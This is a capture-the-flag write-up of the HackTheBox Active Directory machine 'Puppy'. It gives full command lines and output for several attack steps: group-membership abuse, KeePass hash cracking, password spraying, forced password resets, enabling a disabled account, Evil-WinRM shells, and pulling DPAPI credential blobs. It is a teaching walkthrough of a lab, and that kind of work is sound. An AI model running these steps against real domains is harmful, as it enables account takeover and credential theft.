Puppy

Puppy is a Windows Active Directory pentest simulation. It starts with a set of creds in the HR group, which a common target of phishing attacks. That user has GenericWrite over the Developers group, so I’ll add my user and get access to SMB shares where I’ll find a KeePassXC database. I’ll crack the secret with John, and get auth as the next user. That uses is a member of Senior Devs, which has GenericAll over another user. I’ll reset that user’s password and get a WinRM session. This user has access to a site backup, where I’ll find a password to spray and get WinRM as the next user. Finally, I’ll abuse that user’s DPAPI access to get a saved credential for an administrator.

Box Info

Name Puppy Puppy
Play on HackTheBox
Release Date 17 May 2025
Retire Date 27 Sep 2025
OS Windows Windows
Base Points Medium [30]
Rated Difficulty Rated difficulty for Puppy
Radar Graph Radar chart for Puppy
First Blood User 00:09:52NLTE
First Blood Root 00:20:45NLTE
Creator tr3nb0lone
Scenario As is common in real life pentests, you will start the Puppy box with credentials for the following account:
levi.james / KingofAkron2025!

Recon

Initial Scanning

nmap finds a bunch of open TCP ports:

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.70
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-21 11:44 UTC
Nmap scan report for 10.10.11.70
Host is up (0.091s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2049/tcp  open  nfs
3260/tcp  open  iscsi
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49670/tcp open  unknown
60141/tcp open  unknown
60150/tcp open  unknown
60168/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds
oxdf@hacky$ nmap -p 53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269,5985,9389 -vv -sCV 10.10.11.70
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-21 11:45 UTC
...[snip]...
Completed NSE at 11:49, 0.00s elapsed
Nmap scan report for 10.10.11.70
Host is up, received echo-reply ttl 127 (0.091s latency).
Scanned at 2025-05-21 11:45:41 UTC for 220s

Bug in iscsi-info: no string output.
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-21 20:23:06Z)
111/tcp  open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
2049/tcp open  nlockmgr      syn-ack ttl 127 1-4 (RPC #100021)
3260/tcp open  iscsi?        syn-ack ttl 127
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127
5985/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        syn-ack ttl 127 .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-05-21T20:25:08
|_  start_date: N/A
|_clock-skew: 8h37m18s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 62785/tcp): CLEAN (Timeout)
|   Check 2 (port 47994/tcp): CLEAN (Timeout)
|   Check 3 (port 26380/udp): CLEAN (Timeout)
|   Check 4 (port 46192/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Nmap done: 1 IP address (1 host up) scanned in 219.65 seconds
           Raw packets sent: 20 (856B) | Rcvd: 17 (732B)

The box shows many of the ports associated with a Windows Domain Controller. The domain is puppy.htb, and the hostname is DC.

I’ll use netexec to generate a hosts file and add it to my /etc/hosts:

oxdf@hacky$ netexec smb 10.10.11.70 --generate-hosts-file puppy.hosts                 
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
oxdf@hacky$ cat puppy.hosts /etc/hosts | sponge /etc/hosts

Initial Credentials

HackTheBox provides the following scenario associated with Puppy:

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

The creds do work:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

They also work for LDAP, but not WinRM (unsurprisingly):

oxdf@hacky$ netexec ldap puppy.htb -u levi.james -p 'KingofAkron2025!'
LDAP        10.10.11.70     389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP        10.10.11.70     389    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
oxdf@hacky$ netexec winrm puppy.htb -u levi.james -p 'KingofAkron2025!'
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) 
WINRM       10.10.11.70     5985   DC               [-] PUPPY.HTB\levi.james:KingofAkron2025!

Given that, I’ll want to prioritize things like:

  • SMB shares
  • Bloodhound (which includes most of the data from LDAP)
  • ADCS

SMB - TCP 445

Beyond the standard DC shares, there’s a share named DEV:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.10.11.70     445    DC               [*] Enumerated shares
SMB         10.10.11.70     445    DC               Share           Permissions     Remark
SMB         10.10.11.70     445    DC               -----           -----------     ------
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.70     445    DC               C$                              Default share
SMB         10.10.11.70     445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share 

I can try to connect, but I’m unable to read anything:

oxdf@hacky$ smbclient //puppy.htb/dev -U 'levi.james%KingofAkron2025!'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

The remark does say “DEV-SHARE for PUPPY-DEVS”.

There are nine users on the host:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.10.11.70     445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.10.11.70     445    DC               Administrator                 2025-02-19 19:33:28 0       Built-in account for administering the computer/domain
SMB         10.10.11.70     445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.10.11.70     445    DC               krbtgt                        2025-02-19 11:46:15 0       Key Distribution Center Service Account
SMB         10.10.11.70     445    DC               levi.james                    2025-02-19 12:10:56 0        
SMB         10.10.11.70     445    DC               ant.edwards                   2025-02-19 12:13:14 0        
SMB         10.10.11.70     445    DC               adam.silver                   2025-05-21 21:19:29 0        
SMB         10.10.11.70     445    DC               jamie.williams                2025-02-19 12:17:26 0        
SMB         10.10.11.70     445    DC               steph.cooper                  2025-02-19 12:21:00 0        
SMB         10.10.11.70     445    DC               steph.cooper_adm              2025-03-08 15:50:40 0        
SMB         10.10.11.70     445    DC               [*] Enumerated 9 local users: PUPPY

Nothing unusual there.

Bloodhound

I’ll use BloodHound.py to collect Bloodhound data:

oxdf@hacky$ sudo ntpdate puppy.htb
2025-05-21 21:27:55.583922 (+0000) +31038.243275 +/- 0.047243 puppy.htb 10.10.11.70 s1 no-leap
CLOCK: time stepped by 31038.243275
oxdf@hacky$ bloodhound-ce-python -c all -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.10.11.70 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 17S
INFO: Compressing output into 20250521213138_bloodhound.zip

I’ll upload the resulting zip into BloodHound-CE Docker, and find levi.james to mark as owned. Their outbound control shows that by being in the HR group they have GenericWrite over the Developers group:

image-20250521113059186

This group currently has three members:

image-20250521113118893

Auth as Ant.Edwards

Access DEV Share

There’s no obvious path from the Developers group in Bloodhound, but given the remark on the SMB share, it seems reasonable to have levi.james add themselves to the Developers group, and then recheck the share permissions.

There are lots of tools to do this. I’ll use net (from apt install samba):

oxdf@hacky$ net rpc group addmem developers levi.james -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb 
oxdf@hacky$ net rpc group members developers -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb 
PUPPY\levi.james
PUPPY\ant.edwards
PUPPY\adam.silver
PUPPY\jamie.williams

There is a cleanup script running periodically, so I’ll keep this add command handy.

netexec shows that levi.james has READ access now:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.10.11.70     445    DC               [*] Enumerated shares
SMB         10.10.11.70     445    DC               Share           Permissions     Remark
SMB         10.10.11.70     445    DC               -----           -----------     ------
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.70     445    DC               C$                              Default share
SMB         10.10.11.70     445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share

And I can connect:

oxdf@hacky$ smbclient -U puppy.htb/levi.james //puppy.htb/dev --password 'KingofAkron2025!'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Mar 23 07:07:57 2025
  ..                                  D        0  Sat Mar  8 16:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 07:09:12 2025
  Projects                            D        0  Sat Mar  8 16:53:36 2025
  recovery.kdbx                       A     2677  Wed Mar 12 02:25:46 2025

                5080575 blocks of size 4096. 1538336 blocks available

The Projects directory is empty. The installer gives the version of KeePassXC in use. I’ll download the database:

smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (7.0 KiloBytes/sec) (average 7.0 KiloBytes/sec)

Access KeePassXC Database

Generate Hash

I’ll need to know the master password to access the KeePassXC database. If I try to run keepass2john on the database to generate a hash, it fails:

oxdf@hacky$ keepass2john recovery.kdbx 
! recovery.kdbx : File version '40000' is currently not supported!

Searching for this error leads to this GitHub issue:

image-20250521115015298

I could download and compile the JohnTheRipper project, but it turns out that installing from snap makes the new version available:

oxdf@hacky$ sudo snap install john-the-ripper
john-the-ripper v1.9.1-ce from Claudio André (claudioandre-br) installed

And now I can get the hash:

oxdf@hacky$ john-the-ripper.keepass2john recovery.kdbx | tee recovery.kdbx.hash
recovery:$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9

Crack

hashcat cannot yet handle this hash format, so I’ll use my freshly installed john:

oxdf@hacky$ john-the-ripper recovery.kdbx.hash --wordlist=rockyou.txt
KeePass-opencl: Argon2 hash(es) not supported, skipping.
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-Argon2-opencl"
Use the "--format=KeePass-Argon2-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
liverpool        (recovery)     
1g 0:00:00:11 DONE (2025-05-21 23:00) 0.08857g/s 3.189p/s 3.189c/s 3.189C/s tigger..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

The password is “liverpool”.

Dump Passwords

I’ll install KeePassXC (sudo snap install keepassxc). This includes keepassxc.cli, which can export the database:

oxdf@hacky$ keepassxc.cli export --format csv recovery.kdbx 
Enter password to unlock recovery.kdbx: 
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb","","","0","2025-03-10T08:57:58Z","2025-03-10T08:57:01Z"
"Root","ADAM SILVER","","HJKL2025!","puppy.htb","","","0","2025-03-10T09:01:02Z","2025-03-10T08:58:07Z"
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb","","","0","2025-03-10T09:00:02Z","2025-03-10T08:58:46Z"
"Root","STEVE TUCKER","","Steve2025!","puppy.htb","","","0","2025-03-10T09:03:48Z","2025-03-10T09:01:26Z"
"Root","SAMUEL BLAKE","","ILY2025!","puppy.htb","","","0","2025-03-10T09:03:39Z","2025-03-10T09:02:03Z"

Password Spray

I can try to match these passwords up with users on the box, but I’ll just make a list of all users and spray the passwords:

oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users | grep -vF -e '[' -e '-Username-' | awk '{print $5}' | tee users.txt
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm

I’ll make a file with the passwords:

oxdf@hacky$ echo 'liverpool' | keepassxc.cli export --format csv recovery.kdbx | cut -d'"' -f8 | tee passwords.txt
Enter password to unlock recovery.kdbx: 
Password
JamieLove2025!
HJKL2025!
Antman2025!
Steve2025!
ILY2025!

I’ll use netexec to spray and grep to get just the successes:

oxdf@hacky$ netexec smb puppy.htb -u users.txt -p passwords.txt --continue-on-success | grep -F '[+]'
SMB                      10.10.11.70     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!

It works for SMB, but not WinRM:

oxdf@hacky$ netexec smb puppy.htb -u ant.edwards -p 'Antman2025!'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025! 
oxdf@hacky$ netexec winrm puppy.htb -u ant.edwards -p 'Antman2025!'
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) 
WINRM       10.10.11.70     5985   DC               [-] PUPPY.HTB\ant.edwards:Antman2025!

Shell as Adam.Silver

Enumeration

Bloodhound shows that Ant.Edwards is a member of Senior Devs which gives them GenericAll over Adam.Silver:

image-20250521121623666

This gives the ability for me to do a Targeted Kerberoast attack, change the users password, or add a shadow credential.

Password Change

Reset

I’ll start by changing Adam.Silver’s password using net just like the instructions in Bloodhound:

image-20250521122706112
oxdf@hacky$ net rpc password adam.silver '0xdf0xdf.' -U puppy.htb/ant.edwards%'Antman2025!' -S puppy.htb

I’ll test it, and it fails:

oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\adam.silver:0xdf0xdf. STATUS_ACCOUNT_DISABLED 

The account is disabled. I could see this in my Bloodhound data as well:

image-20250521124329412

Enable

Just like in Vintage, I’ll enable the account using BloodyAD:

oxdf@hacky$ bloodyAD -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb -d puppy.htb remove uac adam.silver -f ACCOUNTDISABLE[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

Now it works:

oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\adam.silver:0xdf0xdf. 

WinRM

Adam.Silver has access to WinRM as well:

oxdf@hacky$ netexec winrm puppy.htb -u adam.silver -p '0xdf0xdf.'
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) 
WINRM       10.10.11.70     5985   DC               [+] PUPPY.HTB\adam.silver:0xdf0xdf. (Pwn3d!)

I could see this in Bloodhound as well:

image-20250521124405616

I’ll connect with evil-winrm-py (giving a new tool a spin):

oxdf@hacky$ evil-winrm -i puppy.htb -u adam.silver -p 0xdf0xdf..
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>

And get user.txt:

*Evil-WinRM* PS C:\Users\adam.silver\desktop> cat user.txt
790a0fd5************************

Shell as Steph.Cooper

Enumeration

File System

adam.silver’s home directory is completely empty other than the flag:

*Evil-WinRM* PS C:\Users\adam.silver> tree /f
Folder PATH listing
Volume serial number is 311D-593C
C:.
+---3D Objects
+---Contacts
+---Desktop
¦       Microsoft Edge.lnk
¦       user.txt
¦       
+---Documents
+---Downloads
+---Favorites
¦   ¦   Bing.url
¦   ¦   
¦   +---Links
+---Links
¦       Desktop.lnk
¦       Downloads.lnk
¦       
+---Music
+---Pictures
+---Saved Games
+---Searches
+---Videos

The root of C has an unusual directory, Backups:

*Evil-WinRM* PS C:\> ls

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          4/4/2025   3:40 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---          3/8/2025   8:52 AM                Users
d-----         5/13/2025   4:40 PM                Windows

I’ll download it:

*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
                                        
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
                                        
Info: Download successful!

Site Backup

The zip file contains a backup of a website that isn’t present on the box:

oxdf@hacky$ unzip -l site-backup-2024-12-30.zip 
Archive:  site-backup-2024-12-30.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  1980-00-00 00:00   puppy/
      864  1980-00-00 00:00   puppy/nms-auth-config.xml.bak
        0  1980-00-00 00:00   puppy/images/
    98560  1980-00-00 00:00   puppy/images/banner.jpg
   650325  1980-00-00 00:00   puppy/images/jamie.jpg
   692101  1980-00-00 00:00   puppy/images/antony.jpg
  1175364  1980-00-00 00:00   puppy/images/adam.jpg
   810357  1980-00-00 00:00   puppy/images/Levi.jpg
        0  1980-00-00 00:00   puppy/assets/
        0  1980-00-00 00:00   puppy/assets/js/
      831  1980-00-00 00:00   puppy/assets/js/jquery.scrolly.min.js
    12433  1980-00-00 00:00   puppy/assets/js/util.js
     2439  1980-00-00 00:00   puppy/assets/js/breakpoints.min.js
    89501  1980-00-00 00:00   puppy/assets/js/jquery.min.js
     1499  1980-00-00 00:00   puppy/assets/js/main.js
     5106  1980-00-00 00:00   puppy/assets/js/jquery.dropotron.min.js
     2051  1980-00-00 00:00   puppy/assets/js/browser.min.js
        0  1980-00-00 00:00   puppy/assets/webfonts/
    34034  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.eot
   918991  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.svg
   202744  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.ttf
    78268  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.woff2
   747927  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.svg
   101648  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.woff
   203030  1980-00-00 00:00   puppy/assets/webfonts/fa-solid-900.eot
    33736  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.ttf
    13224  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.woff2
   144714  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.svg
   134294  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.eot
    89988  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.woff
   133988  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.ttf
    76736  1980-00-00 00:00   puppy/assets/webfonts/fa-brands-400.woff2
    16276  1980-00-00 00:00   puppy/assets/webfonts/fa-regular-400.woff
        0  1980-00-00 00:00   puppy/assets/css/
    50255  1980-00-00 00:00   puppy/assets/css/main.css
        0  1980-00-00 00:00   puppy/assets/css/images/
      108  1980-00-00 00:00   puppy/assets/css/images/overlay.png
     2819  1980-00-00 00:00   puppy/assets/css/images/highlight.png
    59401  1980-00-00 00:00   puppy/assets/css/fontawesome-all.min.css
        0  1980-00-00 00:00   puppy/assets/sass/
    25026  1980-00-00 00:00   puppy/assets/sass/main.scss
        0  1980-00-00 00:00   puppy/assets/sass/libs/
     7355  1980-00-00 00:00   puppy/assets/sass/libs/_vendor.scss
     1957  1980-00-00 00:00   puppy/assets/sass/libs/_functions.scss
     2840  1980-00-00 00:00   puppy/assets/sass/libs/_html-grid.scss
      210  1980-00-00 00:00   puppy/assets/sass/libs/_vars.scss
     4577  1980-00-00 00:00   puppy/assets/sass/libs/_breakpoints.scss
     2218  1980-00-00 00:00   puppy/assets/sass/libs/_mixins.scss
     7258  1980-00-00 00:00   puppy/index.html
---------                     -------
  6635053                     49 files

Most of it is static web stuff, but nms-auth-config.xml.bak jumps out as a config file:

oxdf@hacky$ unzip site-backup-2024-12-30.zip puppy/nms-auth-config.xml.bak
Archive:  site-backup-2024-12-30.zip
  inflating: puppy/nms-auth-config.xml.bak  
oxdf@hacky$ cat puppy/nms-auth-config.xml.bak 
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

There’s a password there for Steph.Cooper, “ChefSteph2025!”.

WinRM

The password works for both SMB and WinRM:

oxdf@hacky$ netexec smb puppy.htb -u steph.cooper -p 'ChefSteph2025!'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) 
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! 
oxdf@hacky$ netexec winrm puppy.htb -u steph.cooper -p 'ChefSteph2025!'
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) 
WINRM       10.10.11.70     5985   DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)

I’ll get a shell:

oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> 

Shell as steph.cooper_adm

Enumeration

Steph.Cooper has a credential stored in the Windows Credential Manager:

*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> ls -force

    Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

There is a master key in the standard place as well:

*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> ls -force

    Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs-         2/23/2025   2:36 PM             24 Preferred

DPAPI

For some reason, Evil-WinRM is crashing trying to download these files (just like on Vinrtage):

*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> download C8D69EBE9A43E9DEBF6B5FBD48B521B9
                                        
Info: Downloading C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
                                        
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

I’ll base64 encode them:

*Evil-WinRM* PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc
